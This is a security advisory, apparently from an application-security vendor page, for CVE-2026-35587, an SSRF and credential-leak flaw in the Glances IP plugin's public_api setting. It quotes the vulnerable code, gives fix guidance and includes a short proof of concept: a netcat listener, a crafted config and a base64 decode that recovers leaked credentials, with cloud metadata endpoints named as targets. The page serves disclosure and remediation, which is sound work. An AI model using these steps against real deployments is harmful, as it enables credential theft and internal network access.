Summary
Glances has SSRF in IP Plugin via public_api leading to credential leakage
Full technical description
A Server-Side Request Forgery (SSRF) vulnerability exists in the Glances IP plugin due to improper validation of the public_api configuration parameter. The value of public_api is used directly in outbound HTTP requests without any scheme restriction or hostname/IP validation.
An attacker who can modify the Glances configuration can force the application to send requests to arbitrary internal or external endpoints. Additionally, when public_username and public_password are set, Glances automatically includes these credentials in the Authorization: Basic header, resulting in credential leakage to attacker-controlled servers.
This vulnerability can be exploited to:
Access internal network services (e.g., 127.0.0.1, 192.168.x.x)
Retrieve sensitive data from cloud metadata endpoints (e.g., 169.254.169.254)
Exfiltrate credentials via outbound HTTP requests
The issue arises because public_api is passed directly to the HTTP client (urlopen_auth) without validation, allowing unrestricted outbound connections and unintended disclosure of sensitive information.
Details
The vulnerability exists in the Glances IP plugin where the public_api configuration value is used to fetch public IP information. This value is read directly from the configuration file and passed to the HTTP client without any validation.
Root Cause
In glances/plugins/ip/init.py, the public_api parameter is retrieved from configuration and later used to initialize a background thread responsible for making HTTP requests:
self.public_api = self.get_conf_value("public_api", default=[None])[0]
self.public_ip_thread = ThreadPublicIpAddress(
url=self.public_api,
username=self.public_username,
password=self.public_password,
refresh_interval=self.public_address_refresh_interval,
)
There is no validation performed on:
- URL scheme (e.g., http, https, file)
- Hostname or resolved IP address
- Internal or restricted IP ranges
- Unsafe HTTP Request Handling
The request is executed via urlopen_auth() in glances/globals.py:
def urlopen_auth(url, username, password, timeout=3):
return urlopen(
Request(
url,
headers={
'Authorization': 'Basic ' +
base64.b64encode(f'{username}:{password}'.encode()).decode()
},
),
timeout=timeout,
)
This function:
- Accepts any URL passed to it
- Automatically attaches a Basic Authorization header
- Does not enforce any restrictions on destination
PoC
SSRF via public_api (Glances IP Plugin)
Prerequisites
Glances installed
Two terminals
Step 1 Start listener (Terminal 1)nc -lvnp 9999
Step 2 Create malicious config (Terminal 2)mkdir -p ~/.config/glances
cat > ~/.config/glances/glances.conf << 'EOF' [ip] public_disabled=False public_api=http://127.0.0.1:9999/ssrf-poc public_username=apiuser public_password=S3cr3tP@ss EOF
Step 3 Start Glances
glances --webserver
Step 4 Observe SSRF request (Terminal 1)GET /ssrf-poc HTTP/1.1 Host: 127.0.0.1:9999 User-Agent: Python-urllib/3.x
Authorization: Basic YXBpdXNlcjpTM2NyM3RQQHNz
Step 5 Decode leaked credentialsecho "YXBpdXNlcjpTM2NyM3RQQHNz" | base64 -d
Output:apiuser:S3cr3tP@ss
Step 6 Confirm data via APIcurl -s http://127.0.0.1:61208/api/4/ip
{
"address": "**.***.***.***",
"mask": "255.255.255.0",
"mask_cidr": 24
}
NOTE
Vulnerability Location
The issue originates from how the public_api configuration value is handled and used without validation.
1. Source of user-controlled input
File: glances/plugins/ip/init.py
(around lines ~64–82)self.public_api = self.get_conf_value("public_api", default=[None])[0] self.public_username = self.get_conf_value("public_username", default=[None])[0] self.public_password = self.get_conf_value("public_password", default=[None])[0] public_api is fully user-controlled via configuration
No validation is applied at this stage
2. Missing validation before usageself.public_disabled = ( self.get_conf_value('public_disabled', default='False')[0].lower() != 'false' or self.public_api is None or self.public_field is None )
Only checks if the value is None
No validation of:
- URL scheme
- Hostname
- IP address range
3. Vulnerable sink (critical point)self.public_ip_thread = ThreadPublicIpAddress( url=self.public_api, # ← user-controlled input username=self.public_username, password=self.public_password, refresh_interval=self.public_address_refresh_interval, )
The user-controlled public_api is passed directly into a network request
This is the SSRF entry point
4. Unsafe HTTP execution
File: glances/globals.py
(around lines ~360+)def urlopen_auth(url, username, password, timeout=3): return urlopen( Request( url, # ← no validation at all headers={ 'Authorization': 'Basic ' + base64.b64encode(f'{username}:{password}'.encode()).decode() }, ), timeout=timeout, )
- Accepts any URL
- Sends request blindly
- Automatically attaches credentials to any destination
- Root Cause
A user-controlled configuration value (public_api) is passed directly into an HTTP request without validation of scheme or destination, resulting in SSRF and credential leakage.
Recommendation
The fix must be applied before the URL is used, specifically in the IP plugin (init.py).
1. Enforce scheme restrictions
Allow only:
http
https
Reject:
file://
gopher://
ftp://
any non-HTTP protocol
This prevents protocol abuse and local file access
2. Validate destination host
Resolve the hostname to an IP address
Check the resolved IP against restricted ranges
Block if the IP is:
Loopback → 127.0.0.0/8
Private → 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
Link-local → 169.254.0.0/16 (cloud metadata services)
This prevents:
Internal network probing
AWS/GCP/Azure metadata access
localhost abuse
3. Enforce validation before thread creation
The validation must occur before initializing:
ThreadPublicIpAddress(...)
If validation fails:
Disable the plugin
Do not send any request
4. Trust boundary clarification
urlopen_auth() is a low-level utility
It should not be responsible for validation
The caller (IP plugin) must ensure:
Only safe, external URLs are passed
Why This Fix Works
Scheme validation blocks protocol-based attacks
IP validation blocks internal and cloud targets
Combined, they eliminate the SSRF attack surface while preserving legitimate use cases (public IP APIs)
Impact
This vulnerability allows an attacker to control outbound HTTP requests made by the Glances IP plugin via the public_api configuration parameter.
Server-Side Request Forgery (SSRF):
The application can be forced to send requests to arbitrary endpoints, including internal services and localhost.
Credential Leakage:
When public_username and public_password are configured, they are automatically sent in the Authorization: Basic header to any target defined in public_api, exposing credentials to attacker-controlled servers.
Internal Network Access:
The vulnerability enables access to internal resources such as:
127.0.0.1 (localhost services)
Private network ranges (192.168.x.x, 10.x.x.x, 172.16.x.x)
Cloud Metadata Exposure:
The application can be directed to query cloud metadata endpoints such as:
http://169.254.169.254/
potentially exposing sensitive credentials (e.g., IAM tokens in cloud environments)
Data Injection / Manipulation:
Responses from attacker-controlled servers are accepted and stored by Glances, then exposed via /api/4/ip, allowing injection of arbitrary data into the application.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2026-35587 has a CVSS score of 8.8 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.5.4); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-35587? CVE-2026-35587 is a high-severity server-side request forgery (SSRF) vulnerability in glances (pip), affecting versions < 4.5.4. It is fixed in 4.5.4. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2026-35587? CVE-2026-35587 has a CVSS score of 8.8 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of glances are affected by CVE-2026-35587? glances (pip) versions < 4.5.4 is affected.
- Is there a fix for CVE-2026-35587? Yes. CVE-2026-35587 is fixed in 4.5.4. Upgrade to this version or later.
- Is CVE-2026-35587 exploitable, and should I be worried? Whether CVE-2026-35587 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-35587 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-35587? Upgrade
glancesto 4.5.4 or later.